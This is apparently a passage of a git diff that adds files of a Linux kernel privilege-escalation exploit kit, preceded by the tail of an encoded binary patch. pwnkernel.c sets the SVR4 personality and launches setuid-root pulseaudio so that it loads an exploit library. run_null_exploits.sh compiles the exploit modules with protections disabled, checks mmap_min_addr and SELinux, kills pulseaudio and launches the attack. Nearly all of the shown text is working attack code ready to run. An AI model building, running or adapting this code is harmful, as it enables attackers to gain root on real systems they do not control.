z!j@X@Cx~)egRN!7%=cUdHEozRK%Ikn<-gH`{!c#g|Jym6`gjXGno_TkED?4HH5F0p?qYf6MRilEIwGn|@;`RAFZS6GR09V4Q10%97X%`t}X->up{Ywf>O-DG+Q^7{pZ zpYWvKz~>T{b|9HC4w%(ktPnu>?wW90!(YNG{G|@GH?zw&i#FRU+(!{gtd}H-Y+900 zPt(-h@@xN)P;-PwnsO!E`qgoxk@M5%aLi=)plv}@MH z^f9xP-W&vcZ*PN!%*y$35Wi&8Y7(Rs?}XBjx{MoEQ{8{W6f3rp#axcFe>xC49q2FT zZfj@UlE4x0X4MP~N&Pv%LmKmbv)|Fgj;5w8GIcup-5vhx`5PLt-`xLe_EVN3t>;bp zB7Pm(Br(SVsGC;x^u-|1j0_4EAp%h)=`vAtbveV@c!=Hw%1{2RXJ6%FwbM8=@I^ch zYnOl`%S*Zs8YTiIaQ_wS)1LQTk>4I4is^tg>5J+M#qkg&ai!0I!1MHF@<-|NGxv|$ z4zb86j9tz<#kaIt60sQmmII@UWGbp(^0ywUA}%Yr^dl>ayj7`$-^sO-j6OF#aq)R- z!NX=xEn(nKM2XmQ>sZL;|Luhsj0H595MEBXIWVHo~fJO3w zt*K=1ZQ(4_v6T=_^JgSkN`$}Afdv#0O-79H0SgOp7+&kXMJ&JM)DWLmk-<;^un#S_ zd%fjBnM7}(IXCVGuQc!k5@SR@3*$%#5dzrg1a`OwkQ`_R<^W@j5_f;0RTu=T4m!tu z6l$Kv3DH-*Jffe9K@FvB*L82}+0{9gZ)H(tM~3Tfi7Ez5SeecSAr+(R+{E;t^Ix7M z?t%A_`~YnrLDkx0D*Kg1bvH7(|8EMY|7~sIZBqXyS7!F;nLBQ&eTOi;l7Bdng~KZ$ zvlgM9w8eS)s!#B?&X#FWfd60Ew+-8-v}yLSOg-3g^be*y$yhppF1I(5p!)e8E* zmdg{`8MFh+CG1~#C~wJzrVO}^4H|lSyDGM^98po} z1(jhughI=I3B<_%r+? z7ws_@w=oohM1>=YMBm4YrcTUG+*WfYmw{%+A{!A-{g#Bp@!=Znnv;x)^EqcaFOeXx z$y1>ua`=FkhHa2gL2{`^dK}3c>ZR;W-6Dz|y#!E;I)|1kkXG(Lu{2cyl={RR)T-+{ zeVfc_#%8+hmbNaTxX|gXKUu{Ppwf9aN?bAf$)tjw;f4vc zNd6WYh*|n4eBjzufIR6pL#=|Tf#LT7uyApIuIa5+>rN}YKB**$1$~@%V&(g5eev9( zKRs6DK|VBjhEp#r?k=s(*Ny)vG1P7QDrat_j18;g(Pa8oN`#@J2ojskY5GFe<>+AF zvc|uaIJUb&p7X19E->$>aX=YGr6m%$rwO@`X9AnGlowFq|Mhz@l)+xiq~2`iLZwMc z3QQBEi->syxg?N6wbetP&oLDXeLn51HNN$IJfA_Rq6C#@Yg;((N%>z-kKjgMpDdNk zup)&1jXz@;g>*OBu2a_s-vphUNdcW_FIvjgdN0v{$8E=UQ~ zC+}5CpGB=&(qz?X&;7{`JlzAkp`p&ZO&QW`)%o@@J>+bc+$iZ|v8VAiV8kFy!wiK1 z3Xc*`2M?PhWeyLGXa&^Jy69!HuL6||g7`fwQ3R!d#gCuH2>j=T)7iZeW~CG7WEB)d z|9z?#m!^}zI`^W~nAm{=YJwqNvt(kh_`g=C)AMs{oUp)i7tyQsVGWo+;3LLsde!;R z5=kPl6iOIQry9Kd*)^9PYn~r;gP_k$=d{d4(XV>EDz8zz4~gn9QRCVd^7wyS>)@@#!+P$^&apmT+h(@`PI|?p^Y;o zRd0A(#iq;Z@Uz143j3BOZoi2z2~`e#v*>$JvzqWKSwzHahsvJ6#_Dv1xa&tMGG1Vb zSZo4@y~)D#cxGatN`5Bru!Ex;Pw9D8vCu^0e6?yLk|`pvel}L&9iKT1AMRtL1(A2m zpd@$bD9IfX@=jbO*8e5&@`5kfya;c93N{`^sjq;fSe7U?d@FW8>FLkE;*BF#@KxZN zaD>_FO?9;gu+xlZz}xu1#`qxK-%R$Y>?nZdrX`>+nt-=kR63yR;|m|-`Q5jpt~)~| z(YRAY&C8`!?Q8*+^kH*S1B#25E#-DI(*xCXN;)*Rza^E&ScGgLWIc}i%GKRfW)-Hv zk&|oLZwu9ewU@tGIG5w7Z13q`XXuJc|ExD*GU+6nH!4%Q<8K{*Y8e!rmHUnu(5gI^ z)oV;A7*1ZOc6+jaJhggaaXc`P*DRuwuHq|9Mbon5j){<|$8tkYtv<|X>WceqvFJAa zGqj$cdgx~tS4+z4trx(|Le~7;G?za|^P4@UQ#lbVHdCC*r6!mNi7eiZDDH5P?3qJWw>=f@7Md>_J%Re+hC@$&J$y=?vUrd=6Ft=`|?Qo){d@{)zCdd-Blp~fR;GT^b> z8A^Mmx6DYC*mH(b<0ce0{p=^M_j^HmSAV*aknUaVcHfRPb9_BJLY>Hy zlMK0ZBa*er&s}XkuUr-0PNd{4d;x@xX7QvA_z&&LPJXMT19bUF52@D#9i+>Azq z*(FG)jk-F!ix@-@49VXszPw&2JkX_M`J{|%v=;j=Dz+4MTlDDXi5C|1fme;kn9!eI z+4-5|qtgL2%#Pt9v;85L+`(xNNwyU7M9sY8hxZR-r@BU}yAEDyiHGb-Q__5+{>u4o z#u!nvP~k(fFp(%$G-gkM=M>k)>5|`6_9}nl=fbJ3$jlu{&wT@!3>AgwuPrD!@r`4Y z-NwnzOrvfV8ZYh6O5 zl950r*gi`V|Cau{(zHR*fWBO;z3?nuIp$rYUj)PN6oun0$w(jh_wU!2_4i_@e2B@iB1oo<{mfI*jY0m~hV@2rgGMtS0w z^{3JIEKJff+#?GHN>@o^o3ce+{UbNp{i64JLY@{}d+vgF|M>n(aL361FF~Z6`Y~yA zyA)PsMQwdVocuy>S@$+U&_@ShT5u4^{nDuHeJrt;pS)IZGPhwPu`#GI8iBJHphx#W2MFgLVvLW z=K(4@CN&m>Zx)h310u3n$%K|zsZ!_6k2JCAka0qh19Z$fo5N~z`_L<_b+;URK4!c> zEoJJV7tNP9IF>P{syHVPM62LJ+fB72oFqaVyEcB6?fLyOm_6kp>{i=n@HOz_vnHEG zy_n;4^9Tyr$mc?G9la;Q8>^XR#I{sM2Hr#NRj;dkSw;zW$X8Nc*dI zQk1>vJI68!jQlL%quV&3Hf85uBf(r{8um`kks9W2x_rj=WNa@h9qeEbz{Z+v6kAQP|oE4{24t4(hEIgyP1)w}PJ;$k>FyXtQ5gx1_ zvG>Zg$Bn z@{FdHU3e)-VWhLeP?ACFJX8#>oPqHqdNM*3N6a#Fq8?B&wvz9rgc_GEMsX{psPE7X z4QnMS+N*Q&Pm}1UR}10CU*bk1@@T`8;_t~l4}NYbF!l7epV=kV%Eiwo_{am>%DZi* zhcrJgK7Do_$5b0L;)hOLx@Rw4f;F|81ixAfgW;Li#s(8U#Li9hWe;$LSFMIoLPg|etBD!+#*?uS zf>ZQdoo~@{=IYwis?Dfu}U_0OiCyPT~} zE=L$Rod6477gjLx)jm}VUcdhqMm_u%PrEk#rXjO^D5K_-qDWf$hXk7IblGE?l(-fC@8iwdlH9t67m8! zy8e7{0=L|jvC0j*w+niVE6Paw&EO)0ata`8`@^<{7lfGJDt%U6ruFSq(#FYc1zY(_ z7^kmdK07c>QEYfTo4rT+ez)@{6QeqApS%u^FIDIAXw+DU$_sCgfBF*g3)gqD+Xc2U zo5J-fh@3K{->{Z%D;K{QO(*!`RB$+*;LFl&J67w3b7OYNgu7pd-p>?dcRb+_EkA(F zwY-0*1hBeAT?RwSK*ZQK1*sE9i7SX>R45k|yrP$X338PA+keAawL^X+Jam5+3}71>hsU{)K3fQ1Y0uH{i~XSwER#(khesa zQ1l_bMyL+HA4TlXXKIWarK_I4veC5TA4JEm5?wP_z=^qZxNjAezP;NrI} zUONe9Z&hjRbn+RH&KTWMpk2$2D?&M2>N2eJ)j`d;sS-*>%~KU)d~JOPIN#C%3qEuk z2Jg}11UuQtr}X0HK35P&rdZGJl+wiW@O4%)pa|+KN(Zi^JS0MUCO^uoO|B!>ao*1I zkyBxD-Cy5~Egbo3A684Mb_K5bLUNv*zkq`&8oP4498QFn20IFiu$L!$J|2cQ*UwL- zf9p7z*#+O5Vc4#MY9~5e-}lkqxc}fbZv9H-#TUQ$&DbO0SS8mKiJvWv+RAq^$@Xu0 z21(Yo**^J1kWgGUIBeMcwkCGnCbc?aRJv1!7M>8W9AXt_1Ntb-u`Z+YXr9@N03d2!#~FnxIJ;gVo&SHB?*7+C zLUh_skKq2Eo{~ncNasd&vZ9QmKdV7V0)JUoFsHj=aa6BmUijELRf zzq$geM!WMArgON~2N|)d+a@xH3@4e+<%Aaj=;NYe)fZ{Dr2Z_gfQh*Kn<8v~p9(A; z8Ke};XQ5gua(W_rz(ncu&$5p9d>U36*;TmTWXsrvu}`^{_dJ^GK7F|(A6Ep^3Lz_} zd;fjs6g|0etHs&2m~YSe)NfD5cX#*qTpTP?^L`wr2dJGvr1=SV=OO0!OO}X(R;kw5 z5s*6K>@RbccUNZM>2*?cr*{ewrKM*VQl3JV5onkPi18QCV4@Vq4=_et)qU@rE;$+-GCe8s_D)I0Af6pE3k=Fj z^L~-OxU!xRNjRDNTlN%7-A5hgoT+RIj|(j%l4~#QUh-k+I=;d%%3FjN)z4#EjHla^ z$MjzLo_O~%GRv422vRU3=2>f7Jwq@HZu2b(bj$#;b`{&0!gddrN7yr^JC@C{=zx)RSvV0gp~-b&QMRIkHwp_kCtnFto(MGCEWd&Fzzl78U1vkkMw*z*?i06 zl&V|tIbnY&GjwS!JFsrgZnfGPW-iOCnx2CuOBf6#o&~}0Z~M<;-2MTHm?f;uR_@Dj ze-F;}HZ(ppOmM5?#L3Bw9`cd?p$W`zSth{84?V3{r)6ULyZ58#bJnu;)KZ^k@XNd8 zNzmG?5{MM7llI5b9`C{jn*ey?rx}B&a5wQQ1J0$+($G^V=YeKaKcY-t?FcT!PxOO{ zsXN!bbaX90^$Sse`-ANB-qmxK#xH|#)UCW0^|Itpm^}mC`gbGZDG{gb(_2*0NcFk9 z+uH$!Si6~=na*0dKjmch)2puCnA$_W*wvG1o#qwpmN`9ob73c6UMzDbI{oa zdN-{IJBJ`i&YtJ}?+^BYVmB@2erM>ulI80?^~{N9Av|{Q8kvn(AUdw?M`R@|U7zXX zei{wF#&2(?17ur_DiyNF;Qx&0timQ$@c?6&MXrV)aRe-X82NLPeI)42vO=fB_ihd7 z1UnpXc@rn*zPrzd9~(9=EpnK2!AkL=+?}&%<=8)FTN-$ryVH*sYNM+opPXN#XLWX|qt^m8wO?{#K6D!AHx5I;N7?F)pdfi8SaKZ%w)iz>|!|K7ljNx!L{^ z3~bZ1AsJX1?M(f|qK`+lFRF02EHXbHFS(g%`dIubuRrClvoKNLRA8qAUwZ#R;KjkO zj~o=myKrDcftRH4qdDofF#>7^G=OiJj84ituJxb(SeRohx$v;@jpJf-L=W&rrCA{< zImfNVwISo1lWFF)K744qZis0c1~sWFKNTv$bM6vc+s-?<4DXEX#M>SFw#^e_Zp

siVt%ZZKz6os@%X08JWJunlbli-W5CKTWn0V zXb2wpu)sV3;-kN`Rz*BYT?t*vvkw<`720}WLw44P@P7(lI?)eB@te?Q*!EMJnn%{Z zc=A4mPH=f+NK$R_v!1Oy@@~d|xymdD#h-Yr2w?Lo(1JnXH{{xVIhr~(0j(sLq}2VB zZZgGx?b9cfc{fS|>^=S=W_lIx(_cB)vpAfDj*Dos3%hI&kWvB+wO9U2@TRzAk~&3gA~S9Ia8*}5EA#m{{n?l~dEvONCX^FFL+n7P%2dv{2TpEQ zL9qHfm$6w^vgw#OdD3Q`omp%<$DT%K)WRRXqN&SS%qkqC%rexcJ$Yi^C^-@klz1?v z6IyBrOXXa_fXV@4ghqEO$j}?8CfsMfr>$Jei@Wn&gecuq`hkh0Yzm-@TOya~i-VEy zU*ypSXgH2oj(2vQQqX!|6vtjN($GP?>xXs4pQMwK`_HGQm`B>>q8SfGml%D7FBqHg zpU#Sb$-!X5f%f9D#)3Svw%3M(>&3+A>iV2WMGfeq+$-sl%x-k{T2R!Ok3NxP}4jg~h*O%*_!kFa8~Q(tI0%(;s* zDM5--*uCk-TYfEw;Q>}@stG&MIpaNsgwAjUl>MCmJ}tJdVmBUg28>K7(5d7MK5M5s zL=}AM4=NvgxfrSnwlfH7xVqJdOFlbmc)oWFPAWkSx-~58ue$Rm4gWRnUuu;rvi=2r z97I+SYD4Tm_UZJjA@tR!ApP_vNxOz5(+a;PQ3p=?-l`1o3;SxF+> z?y0}KQ!c>U3r^E`ypqxsZ(3K*m%UN*&ygQ`ay+=p%k7Nw&2xPzedE12Uf#?%m~uIe z&EjKl7akF^y zU`=~J9v4&kQHuSq}dDVrosHgIb*t%>TbS=0S4+!td$ zzQiC?#@KqfAQh?^$165a;$8@9jURq6zPV^QmQZ~T2bTx2P85^Qael5}KAzKG`>EJL zClbLA`p#}Ua~~|upf7ljy&$L!qZnWIVS z^|ZlmFpmmtidn8P^;bbH0hZU!;Q9?0YuHD?qTy9oNs#s3~>UtXd_{TX&DW^ar z;JKT-f1}Ooo2??ZYQ$EIdX`2XpV Hf0zFU9ojoE literal 0 HcmV?d00001 diff --git a/pwnkernel.c b/pwnkernel.c new file mode 100644 index 0000000..618feeb --- /dev/null +++ b/pwnkernel.c @@ -0,0 +1,37 @@ +#include +#include +#include +#include +#include + +#define PULSEAUDIO_PATH "/usr/bin/pulseaudio" +#define PATH_TO_EXPLOIT "/home/spender/exploit.so" + +int main(void) +{ + int ret; + struct stat fstat; + + ret = personality(PER_SVR4); + + if (ret == -1) { + fprintf(stderr, "Unable to set personality!\n"); + return 3; + } + + fprintf(stdout, " [+] Personality set to: PER_SVR4\n"); + + if (stat(PULSEAUDIO_PATH, &fstat)) { + fprintf(stderr, "Pulseaudio does not exist!\n"); + return 3; + } + + if (!(fstat.st_mode & S_ISUID) || fstat.st_uid != 0) { + fprintf(stderr, "Pulseaudio is not suid root!\n"); + return 3; + } + + execl(PULSEAUDIO_PATH, PULSEAUDIO_PATH, "--log-level=0", "-L", PATH_TO_EXPLOIT, NULL); + + return 3; +} diff --git a/run_nonnull_exploits.sh b/run_nonnull_exploits.sh new file mode 100755 index 0000000..caef036 --- /dev/null +++ b/run_nonnull_exploits.sh @@ -0,0 +1,3 @@ +#!/bin/sh + +./run_null_exploits.sh nonnull diff --git a/run_null_exploits.sh b/run_null_exploits.sh new file mode 100755 index 0000000..a31a103 --- /dev/null +++ b/run_null_exploits.sh @@ -0,0 +1,77 @@ +#!/bin/sh +GCC=gcc +IS_64=`uname -m` +LINK_FLAG="-ldl" +OPT_FLAG="-fomit-frame-pointer -O2" +if [ "$IS_64" = "x86_64" ]; then + OPT_FLAG="-m64 -fomit-frame-pointer -O2" +fi +if [ "$1" != "" ]; then + OPT_FLAG="$OPT_FLAG -DNON_NULL_ONLY" +elif [ -d /usr/include/selinux ]; then + OPT_FLAG="$OPT_FLAG -DHAVE_SELINUX -lselinux" +fi + +for FILE in exp_*.c; do + printf "Compiling $FILE..." + $GCC -fno-stack-protector -fPIC $OPT_FLAG -shared -o `printf $FILE | cut -d"." -f1`.so $FILE $LINK_FLAG 2> /dev/null + if [ "$?" = "1" ]; then + $GCC -fPIC $OPT_FLAG -shared -o `printf $FILE | cut -d"." -f1`.so $FILE $LINK_FLAG 2> /dev/null + if [ "$?" = "1" ]; then + printf "failed.\n" + else + printf "OK.\n" + fi + else + printf "OK.\n" + fi +done + +ESCAPED_PWD=`pwd | sed 's/\//\\\\\//g'` +MINADDR=`cat /proc/sys/vm/mmap_min_addr 2> /dev/null` +if [ "$1" != "" -o "$MINADDR" = "" -o "$MINADDR" = "0" ]; then + sed "s/\/home\/spender/$ESCAPED_PWD/g" exploit.c > exploit1.c + mv exploit.c exploit2.c + mv exploit1.c exploit.c + $GCC -fno-stack-protector -fno-pie $OPT_FLAG -o exploit exploit.c $LINK_FLAG 2> /dev/null + if [ "$?" = "1" ]; then + $GCC -fno-stack-protector $OPT_FLAG -o exploit exploit.c $LINK_FLAG 2> /dev/null + fi + if [ "$?" = "1" ]; then + $GCC $OPT_FLAG -o exploit exploit.c $LINK_FLAG 2> /dev/null + fi + mv -f exploit2.c exploit.c + ./exploit +elif [ ! -f '/selinux/enforce' ]; then + killall -9 pulseaudio 2> /dev/null + sed "s/\/home\/spender/$ESCAPED_PWD/g" exploit.c > exploit1.c + mv exploit.c exploit2.c + mv exploit1.c exploit.c + $GCC -fno-stack-protector -fno-pie -fPIC $OPT_FLAG -shared -o exploit.so exploit.c $LINK_FLAG 2> /dev/null + if [ "$?" = "1" ]; then + $GCC -fno-stack-protector -fPIC $OPT_FLAG -shared -o exploit.so exploit.c $LINK_FLAG 2> /dev/null + fi + if [ "$?" = "1" ]; then + $GCC -fPIC $OPT_FLAG -shared -o exploit.so exploit.c $LINK_FLAG 2> /dev/null + fi + mv -f exploit2.c exploit.c + sed "s/\/home\/spender/$ESCAPED_PWD/g" pwnkernel.c > pwnkernel1.c + mv pwnkernel.c pwnkernel2.c + mv pwnkernel1.c pwnkernel.c + $GCC $OPT_FLAG -o pwnkernel pwnkernel.c $LINK_FLAG + mv -f pwnkernel2.c pwnkernel.c + ./pwnkernel +else + sed "s/\/home\/spender/$ESCAPED_PWD/g" exploit.c > exploit1.c + mv exploit.c exploit2.c + mv exploit1.c exploit.c + $GCC -fno-stack-protector -fno-pie $OPT_FLAG -o exploit exploit.c $LINK_FLAG 2> /dev/null + if [ "$?" = "1" ]; then + $GCC -fno-stack-protector $OPT_FLAG -o exploit exploit.c $LINK_FLAG 2> /dev/null + fi + if [ "$?" = "1" ]; then + $GCC $OPT_FLAG -o exploit exploit.c $LINK_FLAG 2> /dev/null + fi + mv -f exploit2.c exploit.c + ./exploit +fi